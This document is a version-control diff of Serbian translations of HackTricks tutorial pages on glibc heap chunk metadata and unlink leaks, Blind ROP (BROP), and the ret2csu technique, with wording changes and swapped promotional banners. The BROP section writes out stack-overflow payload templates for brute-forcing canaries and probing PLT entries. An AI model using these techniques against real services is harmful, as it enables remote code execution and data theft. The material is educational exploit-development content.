```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||||
|
@ -159,7 +159,7 @@ Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke,
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednja 3 bita za označavanje:
|
Metapodaci obično imaju 0x08B koji označava trenutnu veličinu dela koristeći poslednja 3 bita da označe:
|
||||||
|
|
||||||
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
||||||
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
||||||
|
@ -167,7 +167,7 @@ Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela k
|
||||||
|
|
||||||
Zatim, prostor za korisničke podatke, i konačno 0x08B da označi veličinu prethodnog dela kada je deo dostupan (ili da čuva korisničke podatke kada je dodeljen).
|
Zatim, prostor za korisničke podatke, i konačno 0x08B da označi veličinu prethodnog dela kada je deo dostupan (ili da čuva korisničke podatke kada je dodeljen).
|
||||||
|
|
||||||
Štaviše, kada je dostupan, korisnički podaci se koriste i za sadržaj nekih podataka:
|
Štaviše, kada je dostupan, korisnički podaci se koriste da sadrže i neke podatke:
|
||||||
|
|
||||||
* **`fd`**: Pokazivač na sledeći deo
|
* **`fd`**: Pokazivač na sledeći deo
|
||||||
* **`bk`**: Pokazivač na prethodni deo
|
* **`bk`**: Pokazivač na prethodni deo
|
||||||
|
@ -258,9 +258,9 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||||
return request2size (req);
|
return request2size (req);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo početna zaglavlja.
|
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo inicijalna glava.
|
||||||
|
|
||||||
### Dobijanje Chunk podataka i izmjena metapodataka
|
### Preuzmi Chunk podatke i izmeni metapodatke
|
||||||
|
|
||||||
Ove funkcije rade tako što primaju pokazivač na chunk i korisne su za proveru/postavljanje metapodataka:
|
Ove funkcije rade tako što primaju pokazivač na chunk i korisne su za proveru/postavljanje metapodataka:
|
||||||
|
|
||||||
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
||||||
/* Set size at footer (only when chunk is not in use) */
|
/* Set size at footer (only when chunk is not in use) */
|
||||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||||
```
|
```
|
||||||
* Dobijte veličinu stvarnih upotrebljivih podataka unutar dela
|
* Dobijte veličinu stvarno upotrebljivih podataka unutar dela
|
||||||
```c
|
```c
|
||||||
#pragma GCC poison mchunk_size
|
#pragma GCC poison mchunk_size
|
||||||
#pragma GCC poison mchunk_prev_size
|
#pragma GCC poison mchunk_prev_size
|
||||||
|
@ -470,15 +470,15 @@ return 0;
|
||||||
|
|
||||||
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
|
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
|
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
i unutar nje mogu se naći neki chunks:
|
i unutar nje mogu se naći neki chunks:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Bins & Memory Allocations/Frees
|
## Bins & Memory Allocations/Frees
|
||||||
|
|
||||||
|
|
|
@ -67,29 +67,29 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||||
|
|
||||||
Pogledajte ovo odlično grafičko objašnjenje procesa unlink:
|
Pogledajte ovo odlično grafičko objašnjenje procesa unlink:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
### Bezbednosne Provere
|
### Provere Bezbednosti
|
||||||
|
|
||||||
* Proverite da li je naznačena veličina chunk-a ista kao prev\_size naznačen u sledećem chunk-u
|
* Proverite da li je naznačena veličina chunk-a ista kao prev\_size naznačen u sledećem chunk-u
|
||||||
* Takođe proverite da `P->fd->bk == P` i `P->bk->fw == P`
|
* Takođe proverite da `P->fd->bk == P` i `P->bk->fw == P`
|
||||||
* Ako chunk nije mali, proverite da `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
|
* Ako chunk nije mali, proverite da `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
|
||||||
|
|
||||||
### Curjenja
|
### Leaks
|
||||||
|
|
||||||
Unlinked chunk ne čisti alocirane adrese, tako da, imajući pristup da ga pročitate, moguće je curiti neke zanimljive adrese:
|
Neunlinkovani chunk ne čisti alocirane adrese, tako da, imajući pristup da ga pročitate, moguće je otkriti neke zanimljive adrese:
|
||||||
|
|
||||||
Libc curenja:
|
Libc Leaks:
|
||||||
|
|
||||||
* Ako je P smešten u glavi dvostruko povezanog spiska, `bk` će pokazivati na `malloc_state` u libc
|
* Ako je P smešten u glavi dvostruko povezanog spiska, `bk` će pokazivati na `malloc_state` u libc
|
||||||
* Ako je P smešten na kraju dvostruko povezanog spiska, `fd` će pokazivati na `malloc_state` u libc
|
* Ako je P smešten na kraju dvostruko povezanog spiska, `fd` će pokazivati na `malloc_state` u libc
|
||||||
* Kada dvostruko povezani spisak sadrži samo jedan slobodan chunk, P je u dvostruko povezanom spisku, i oba `fd` i `bk` mogu curiti adresu unutar `malloc_state`.
|
* Kada dvostruko povezani spisak sadrži samo jedan slobodan chunk, P je u dvostruko povezanom spisku, i `fd` i `bk` mogu otkriti adresu unutar `malloc_state`.
|
||||||
|
|
||||||
Curenja iz heap-a:
|
Heap leaks:
|
||||||
|
|
||||||
* Ako je P smešten u glavi dvostruko povezanog spiska, `fd` će pokazivati na dostupni chunk u heap-u
|
* Ako je P smešten u glavi dvostruko povezanog spiska, `fd` će pokazivati na dostupni chunk u heap-u
|
||||||
* Ako je P smešten na kraju dvostruko povezanog spiska, `bk` će pokazivati na dostupni chunk u heap-u
|
* Ako je P smešten na kraju dvostruko povezanog spiska, `bk` će pokazivati na dostupni chunk u heap-u
|
||||||
* Ako je P u dvostruko povezanom spisku, oba `fd` i `bk` će pokazivati na dostupni chunk u heap-u
|
* Ako je P u dvostruko povezanom spisku, i `fd` i `bk` će pokazivati na dostupni chunk u heap-u
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# BROP - Blind Return Oriented Programming
|
# BROP - Blind Return Oriented Programming
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -25,23 +25,23 @@ Ovaj napad se zasniva na sledećem scenariju:
|
||||||
|
|
||||||
## Napad
|
## Napad
|
||||||
|
|
||||||
### **1. Pronađite ranjivi offset** slanjem jednog dodatnog karaktera dok se ne otkrije kvar servera
|
### **1. Pronađi ranjivi offset** slanjem jednog dodatnog karaktera dok se ne otkrije kvar servera
|
||||||
|
|
||||||
### **2. Brute-force canary** da biste ga otkrili
|
### **2. Brute-force canary** da bi se otkrio
|
||||||
|
|
||||||
### **3. Brute-force sačuvanih RBP i RIP** adresa na steku da biste ih otkrili
|
### **3. Brute-force sačuvanih RBP i RIP** adresa na steku da bi se otkrile
|
||||||
|
|
||||||
Možete pronaći više informacija o ovim procesima [ovde (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [ovde (BF Adrese na Steku)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
Možete pronaći više informacija o ovim procesima [ovde (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [ovde (BF Adrese na Steku)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||||
|
|
||||||
### **4. Pronađite stop gadget**
|
### **4. Pronađi stop gadget**
|
||||||
|
|
||||||
Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršeno putem ROP gadgeta jer izvršenje nije srušeno. Obično, ovaj gadget će biti nešto što **zaustavlja izvršenje** i pozicioniran je na kraju ROP lanca kada se traže ROP gadgeti da bi se potvrdilo da je određeni ROP gadget izvršen.
|
Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršeno putem ROP gadgeta jer izvršenje nije izazvalo pad. Obično, ovaj gadget će biti nešto što **zaustavlja izvršenje** i pozicioniran je na kraju ROP lanca kada se traže ROP gadgeti da bi se potvrdilo da je specifičan ROP gadget izvršen.
|
||||||
|
|
||||||
### **5. Pronađite BROP gadget**
|
### **5. Pronađi BROP gadget**
|
||||||
|
|
||||||
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Ovo bi bili gadgeti:
|
Ovo bi bili gadgeti:
|
||||||
|
|
||||||
|
@ -54,42 +54,42 @@ Takođe, primetite da ret2csu gadget ima **veoma jedinstvenu potpis** jer će iz
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||||
|
|
||||||
Ako se **STOP izvrši**, to u suštini znači da je korišćena **adresa koja izbacuje 6 registara** iz steka. Ili da je korišćena adresa koja je takođe STOP adresa.
|
Ako je **STOP izvršen**, to u suštini znači da je korišćena **adresa koja izbacuje 6 registara** iz steka. Ili da je korišćena adresa koja je takođe bila STOP adresa.
|
||||||
|
|
||||||
Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput sledećeg i ne sme izvršiti STOP gadget da bi se potvrdilo da je prethodni izbacivao 6 registara:
|
Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput sledećeg i ne sme izvršiti STOP gadget da bi se potvrdilo da je prethodni izbacivao 6 registara:
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR`
|
`'A' * offset + canary + rbp + ADDR`
|
||||||
|
|
||||||
Poznavanjem adrese ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kontrolu `rsi` i `rdi`**.
|
Poznavajući adresu ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kontrolu `rsi` i `rdi`**.
|
||||||
|
|
||||||
### 6. Pronađite PLT
|
### 6. Pronađi PLT
|
||||||
|
|
||||||
PLT tabela može se pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server se ne sruši čak i ako argumenti nisu tačni. Takođe, provera adrese unosa u **PLT + 6B takođe ne sruši** jer je to prvi kod koji se izvršava.
|
PLT tabela se može pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server ne pada čak i ako argumenti nisu ispravni. Takođe, provera adrese unosa u **PLT + 6B takođe ne izaziva pad** jer je to prvi kod koji se izvršava.
|
||||||
|
|
||||||
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
||||||
|
|
||||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> nema rušenja
|
* `'A' * offset + canary + rbp + ADDR + STOP` -> nema pada
|
||||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nema rušenja
|
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nema pada
|
||||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nema rušenja
|
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nema pada
|
||||||
|
|
||||||
### 7. Pronalazak strcmp
|
### 7. Pronalazak strcmp
|
||||||
|
|
||||||
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i treba da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
|
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i potrebno je da bude **veći od 0** kako bismo kasnije koristili `write` za otkrivanje programa.
|
||||||
|
|
||||||
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
|
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
|
||||||
|
|
||||||
* strcmp(\<non read addr>, \<non read addr>) -> rušenje
|
* strcmp(\<non read addr>, \<non read addr>) -> pad
|
||||||
* strcmp(\<non read addr>, \<read addr>) -> rušenje
|
* strcmp(\<non read addr>, \<read addr>) -> pad
|
||||||
* strcmp(\<read addr>, \<non read addr>) -> rušenje
|
* strcmp(\<read addr>, \<non read addr>) -> pad
|
||||||
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
|
* strcmp(\<read addr>, \<read addr>) -> nema pada
|
||||||
|
|
||||||
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji se želi ispitati** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
|
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji se želi proveriti** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
|
||||||
|
|
||||||
* strcmp(\<non read addr>, \<read addr>) -> rušenje
|
* strcmp(\<non read addr>, \<read addr>) -> pad
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Rušiće
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Izazvaće pad
|
||||||
* strcmp(\<read addr>, \<non read addr>) -> rušenje
|
* strcmp(\<read addr>, \<non read addr>) -> pad
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||||
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
|
* strcmp(\<read addr>, \<read addr>) -> nema pada
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||||
|
|
||||||
Zapamtite da:
|
Zapamtite da:
|
||||||
|
@ -106,7 +106,7 @@ Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj ko
|
||||||
|
|
||||||
### 8. Pronalazak Write ili ekvivalentnog
|
### 8. Pronalazak Write ili ekvivalentnog
|
||||||
|
|
||||||
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku moguće je **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
|
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku je moguće **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
|
||||||
|
|
||||||
Postoje 3 uobičajene funkcije koje bi se mogle zloupotrebiti za ovo:
|
Postoje 3 uobičajene funkcije koje bi se mogle zloupotrebiti za ovo:
|
||||||
|
|
||||||
|
@ -136,16 +136,16 @@ Potpis ponašanja za pronalaženje tih funkcija:
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -19,11 +19,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
|
|
||||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Osnovne informacije
|
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Osnovne informacije
|
||||||
|
|
||||||
**ret2csu** je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete pronaći **gadgets** koje obično koristite za manipulaciju ponašanjem programa.
|
**ret2csu** je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete da pronađete **gadgets** koje obično koristite za manipulaciju ponašanjem programa.
|
||||||
|
|
||||||
Kada program koristi određene biblioteke (kao što je libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju jedni s drugima. Među tim funkcijama su neki skriveni dragulji koji mogu delovati kao naši nedostajući gadgets, posebno jedan nazvan `__libc_csu_init`.
|
Kada program koristi određene biblioteke (kao što je libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju jedni s drugima. Među tim funkcijama su neki skriveni dragulji koji mogu delovati kao naši nedostajući gadgets, posebno jedan nazvan `__libc_csu_init`.
|
||||||
|
|
||||||
### Magični Gadgets u \_\_libc\_csu\_init
|
### Čarobni Gadgets u \_\_libc\_csu\_init
|
||||||
|
|
||||||
U **`__libc_csu_init`**, postoje dve sekvence instrukcija (gadgets) koje treba istaknuti:
|
U **`__libc_csu_init`**, postoje dve sekvence instrukcija (gadgets) koje treba istaknuti:
|
||||||
|
|
||||||
|
@ -62,8 +62,8 @@ ret
|
||||||
```
|
```
|
||||||
Uslovi će biti:
|
Uslovi će biti:
|
||||||
|
|
||||||
* `[r12 + rbx*8]` mora da pokazuje na adresu koja čuva pozivnu funkciju (ako nemate ideju i nema pie, možete jednostavno koristiti funkciju `_init`):
|
* `[r12 + rbx*8]` mora da pokazuje na adresu koja čuva pozivnu funkciju (ako nema ideje i nema pie, možete jednostavno koristiti funkciju `_init`):
|
||||||
* Ako je \_init na `0x400560`, koristite GEF da pretražite pokazivač u memoriji ka njoj i postavite `[r12 + rbx*8]` na adresu sa pokazivačem ka \_init:
|
* Ako je \_init na `0x400560`, koristite GEF da pretražite pokazivač u memoriji ka njemu i postavite `[r12 + rbx*8]` na adresu sa pokazivačem ka \_init:
|
||||||
```bash
|
```bash
|
||||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
gef➤ search-pattern 0x400560
|
gef➤ search-pattern 0x400560
|
||||||
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
||||||
|
|
||||||
Još jedan način da kontrolišete **`rdi`** i **`rsi`** iz ret2csu gadgeta je pristupanje specifičnim ofsetima:
|
Još jedan način da kontrolišete **`rdi`** i **`rsi`** iz ret2csu gadgeta je pristupanje specifičnim ofsetima:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Proverite ovu stranicu za više informacija:
|
Proverite ovu stranicu za više informacija:
|
||||||
|
|
||||||
|
@ -90,14 +90,14 @@ Proverite ovu stranicu za više informacija:
|
||||||
|
|
||||||
## Primer
|
## Primer
|
||||||
|
|
||||||
### Koristeći poziv
|
### Korišćenje poziva
|
||||||
|
|
||||||
Zamislite da želite da izvršite syscall ili pozovete funkciju kao što je `write()`, ali su vam potrebne specifične vrednosti u registrima `rdx` i `rsi` kao parametri. Obično biste tražili gadgete koji direktno postavljaju te registre, ali ne možete pronaći nijedan.
|
